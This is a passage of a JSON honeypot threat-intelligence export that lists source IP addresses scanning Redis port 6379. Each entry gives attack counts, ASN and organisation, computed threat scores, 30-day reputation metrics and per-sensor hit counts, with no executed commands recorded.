      "honeypot_breakdown_30d": {
        "Suricata": 8
      }
    },
    "64.62.197.121": {
      "attack_count": 4,
      "first_seen": "2026-05-18T15:07:01.000Z",
      "last_seen": "2026-05-18T15:08:03.030Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 62.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:46:07+00:00",
        "last_seen_30d": "2026-05-29T12:00:48.025000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 6
      }
    },
    "65.49.20.70": {
      "attack_count": 4,
      "first_seen": "2026-05-21T14:09:48.000Z",
      "last_seen": "2026-05-21T14:10:53.528Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:13:54.676000+00:00",
        "last_seen_30d": "2026-05-31T13:51:35.356000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 2
      }
    },
    "74.82.47.12": {
      "attack_count": 4,
      "first_seen": "2026-05-25T15:16:56.000Z",
      "last_seen": "2026-05-25T15:18:05.006Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 60.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 11.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 28,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:48:22.764000+00:00",
        "last_seen_30d": "2026-05-29T10:34:34.341000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Ciscoasa": 1
      }
    },
    "154.217.241.184": {
      "attack_count": 793,
      "first_seen": "2026-05-03T18:03:08.000Z",
      "last_seen": "2026-05-06T00:17:27.240Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 400619,
      "as_org": "AROSSCLOUD INC.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.5,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 356,
        "days_active_30d": 4,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T17:18:41.987000+00:00",
        "last_seen_30d": "2026-05-06T00:17:27.240000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 239,
        "Suricata": 116,
        "Honeytrap": 1
      }
    },
    "3.130.168.2": {
      "attack_count": 257,
      "first_seen": "2026-05-09T02:34:23.000Z",
      "last_seen": "2026-05-16T03:14:42.958Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6425,
        "days_active_30d": 23,
        "ports_targeted_30d": 171,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-02T02:31:18+00:00",
        "last_seen_30d": "2026-05-24T11:30:53.441000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4060,
        "Honeytrap": 1988,
        "Dionaea": 115,
        "Redishoneypot": 72,
        "Mailoney": 65,
        "ConPot": 60,
        "Cowrie": 33,
        "ElasticPot": 8,
        "CitrixHoneypot": 6,
        "Tanner": 6,
        "Ipphoney": 5,
        "Honeyaml": 4,
        "Ciscoasa": 2,
        "H0neytr4p": 1
      }
    },
    "130.94.115.133": {
      "attack_count": 188,
      "first_seen": "2026-05-09T08:13:25.000Z",
      "last_seen": "2026-05-20T08:57:48.472Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 154177,
      "as_org": "LIGHT NODE LIMITED",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:13:25+00:00",
        "last_seen_30d": "2026-05-20T08:57:48.472000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 89,
        "Suricata": 16
      }
    },
    "84.247.141.109": {
      "attack_count": 101,
      "first_seen": "2026-05-31T11:42:39.000Z",
      "last_seen": "2026-05-31T23:18:41.839Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 42.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-31T06:17:02.100000+00:00",
        "last_seen_30d": "2026-05-31T23:39:36.918000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Redishoneypot": 26,
        "Honeytrap": 22
      }
    },
    "140.246.124.160": {
      "attack_count": 77,
      "first_seen": "2026-05-05T02:14:19.000Z",
      "last_seen": "2026-05-31T17:26:24.485Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 41.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T02:15:25.836000+00:00",
        "last_seen_30d": "2026-05-31T17:26:24.485000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14
      }
    },
    "120.205.80.220": {
      "attack_count": 63,
      "first_seen": "2026-05-05T19:22:33.000Z",
      "last_seen": "2026-05-31T20:00:17.948Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 49.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:22:34+00:00",
        "last_seen_30d": "2026-05-31T20:00:17.948000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 21,
        "Suricata": 7
      }
    },
    "101.96.215.50": {
      "attack_count": 54,
      "first_seen": "2026-05-06T00:24:24.000Z",
      "last_seen": "2026-05-30T07:34:40.886Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 43.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T00:25:25.997000+00:00",
        "last_seen_30d": "2026-05-30T07:34:40.886000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 8
      }
    },
    "64.62.197.137": {
      "attack_count": 54,
      "first_seen": "2026-05-10T15:50:10.000Z",
      "last_seen": "2026-05-23T14:09:30.541Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T00:54:32+00:00",
        "last_seen_30d": "2026-05-31T14:08:21.671000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 125,
        "Honeytrap": 69,
        "Redishoneypot": 22,
        "Cowrie": 5,
        "Dionaea": 3,
        "ConPot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1
      }
    },
    "184.105.247.196": {
      "attack_count": 53,
      "first_seen": "2026-05-04T02:41:52.000Z",
      "last_seen": "2026-05-20T15:04:39.157Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 405,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T02:21:07+00:00",
        "last_seen_30d": "2026-05-31T14:00:06.916000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 237,
        "Honeytrap": 127,
        "Redishoneypot": 22,
        "H0neytr4p": 8,
        "Adbhoney": 4,
        "ConPot": 2,
        "Dionaea": 2,
        "Miniprint": 2,
        "Ciscoasa": 1
      }
    },
    "74.82.47.4": {
      "attack_count": 53,
      "first_seen": "2026-05-02T14:11:02.000Z",
      "last_seen": "2026-05-25T15:20:11.346Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T10:49:04+00:00",
        "last_seen_30d": "2026-05-31T13:30:34.286000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 278,
        "Honeytrap": 104,
        "Redishoneypot": 22,
        "Ciscoasa": 10,
        "H0neytr4p": 8,
        "Cowrie": 7,
        "Dionaea": 4,
        "Honeyaml": 4,
        "ConPot": 2
      }
    },
    "139.198.30.179": {
      "attack_count": 48,
      "first_seen": "2026-05-08T07:01:47.000Z",
      "last_seen": "2026-05-31T16:54:45.466Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 59078,
      "as_org": "Yunify Technologies Inc.",
      "threat_score": 44.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:01:47+00:00",
        "last_seen_30d": "2026-05-31T16:54:45.466000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 6
      }
    },
    "36.139.84.140": {
      "attack_count": 40,
      "first_seen": "2026-05-04T21:40:58.000Z",
      "last_seen": "2026-05-31T18:22:44.529Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 47.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T21:40:58+00:00",
        "last_seen_30d": "2026-05-31T18:22:44.529000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 6
      }
    },
    "47.93.12.90": {
      "attack_count": 40,
      "first_seen": "2026-05-23T19:41:10.000Z",
      "last_seen": "2026-05-23T19:43:30.352Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:41:20+00:00",
        "last_seen_30d": "2026-05-23T19:43:30.352000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 2
      }
    },
    "59.110.241.158": {
      "attack_count": 39,
      "first_seen": "2026-05-02T06:22:55.000Z",
      "last_seen": "2026-05-02T06:25:28.817Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:23:05+00:00",
        "last_seen_30d": "2026-05-02T06:25:28.817000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 27,
        "Suricata": 3
      }
    },
    "183.6.4.31": {
      "attack_count": 38,
      "first_seen": "2026-05-07T00:35:56.000Z",
      "last_seen": "2026-05-30T16:12:36.227Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-07T00:37:05.856000+00:00",
        "last_seen_30d": "2026-05-30T16:12:36.227000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7
      }
    },
    "183.56.243.176": {
      "attack_count": 34,
      "first_seen": "2026-05-04T04:42:46.000Z",
      "last_seen": "2026-05-29T16:29:31.268Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 135089,
      "as_org": "China Telecom",
      "threat_score": 54.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.7,
        "persistence": 22.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 27,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T13:44:35.449000+00:00",
        "last_seen_30d": "2026-05-29T16:29:31.268000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 9,
        "Redishoneypot": 9
      }
    },
    "117.72.186.146": {
      "attack_count": 32,
      "first_seen": "2026-05-04T17:06:40.000Z",
      "last_seen": "2026-05-29T08:20:16.172Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-04T17:07:50.336000+00:00",
        "last_seen_30d": "2026-05-29T08:20:16.172000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "120.48.174.141": {
      "attack_count": 30,
      "first_seen": "2026-05-06T05:51:26.000Z",
      "last_seen": "2026-05-31T13:09:22.350Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-06T05:53:04.658000+00:00",
        "last_seen_30d": "2026-05-31T13:09:22.350000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "64.62.197.182": {
      "attack_count": 28,
      "first_seen": "2026-05-28T13:08:37.000Z",
      "last_seen": "2026-05-28T13:10:17.297Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 30,
        "ports_targeted_30d": 67,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T03:49:36.917000+00:00",
        "last_seen_30d": "2026-05-31T14:20:08.286000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 166,
        "Honeytrap": 71,
        "Ciscoasa": 14,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Cowrie": 5,
        "Adbhoney": 4,
        "ConPot": 4,
        "CitrixHoneypot": 1
      }
    },
    "65.49.20.67": {
      "attack_count": 28,
      "first_seen": "2026-05-13T19:09:35.000Z",
      "last_seen": "2026-05-13T19:11:24.135Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 407,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T03:05:33+00:00",
        "last_seen_30d": "2026-05-31T14:20:46.079000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 242,
        "Honeytrap": 138,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Adbhoney": 4,
        "Dionaea": 4,
        "Cowrie": 2
      }
    },
    "104.243.250.18": {
      "attack_count": 27,
      "first_seen": "2026-05-07T04:51:44.000Z",
      "last_seen": "2026-05-07T04:52:54.107Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 201813,
      "as_org": "Contrust Solutions S.R.L.",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 9,
        "ports_targeted_30d": 61,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-04T06:38:58.220000+00:00",
        "last_seen_30d": "2026-05-12T22:48:12.187000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 267,
        "Honeytrap": 102,
        "CitrixHoneypot": 17,
        "Redishoneypot": 6,
        "Ciscoasa": 5,
        "ConPot": 5
      }
    },
    "193.46.255.156": {
      "attack_count": 27,
      "first_seen": "2026-05-07T02:38:58.000Z",
      "last_seen": "2026-05-07T15:55:19.973Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1365,
        "days_active_30d": 1,
        "ports_targeted_30d": 1019,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-05-07T02:32:46.765000+00:00",
        "last_seen_30d": "2026-05-07T15:59:08.899000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1230,
        "Honeytrap": 99,
        "ConPot": 8,
        "Redishoneypot": 8,
        "Dionaea": 7,
        "Cowrie": 6,
        "ElasticPot": 2,
        "Tanner": 2,
        "CitrixHoneypot": 1,
        "Honeyaml": 1,
        "Mailoney": 1
      }
    },
    "221.130.29.85": {
      "attack_count": 27,
      "first_seen": "2026-05-07T19:02:49.000Z",
      "last_seen": "2026-05-28T11:13:13.339Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T19:02:49+00:00",
        "last_seen_30d": "2026-05-28T11:13:13.339000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Redishoneypot": 9,
        "Honeytrap": 6
      }
    },
    "64.62.197.2": {
      "attack_count": 27,
      "first_seen": "2026-05-22T05:00:21.000Z",
      "last_seen": "2026-05-22T05:02:07.833Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 270,
        "days_active_30d": 30,
        "ports_targeted_30d": 67,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T06:51:56+00:00",
        "last_seen_30d": "2026-05-31T14:52:30.055000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 152,
        "Honeytrap": 71,
        "Cowrie": 11,
        "Redishoneypot": 11,
        "Miniprint": 8,
        "Dionaea": 7,
        "Mailoney": 6,
        "Adbhoney": 3,
        "Ipphoney": 1
      }
    },
    "93.123.109.22": {
      "attack_count": 27,
      "first_seen": "2026-05-12T15:13:10.000Z",
      "last_seen": "2026-05-13T22:47:42.092Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3078,
        "days_active_30d": 3,
        "ports_targeted_30d": 1017,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-05-12T14:22:46.208000+00:00",
        "last_seen_30d": "2026-05-14T02:34:52.290000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2112,
        "Honeytrap": 909,
        "ConPot": 16,
        "Dionaea": 10,
        "Redishoneypot": 8,
        "Cowrie": 6,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Honeyaml": 2,
        "Tanner": 2,
        "Miniprint": 1
      }
    },
    "180.76.52.82": {
      "attack_count": 26,
      "first_seen": "2026-05-05T02:59:08.000Z",
      "last_seen": "2026-05-22T12:29:07.386Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T03:00:15.141000+00:00",
        "last_seen_30d": "2026-05-22T12:29:07.386000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5
      }
    },
    "206.189.93.68": {
      "attack_count": 25,
      "first_seen": "2026-05-16T01:42:38.000Z",
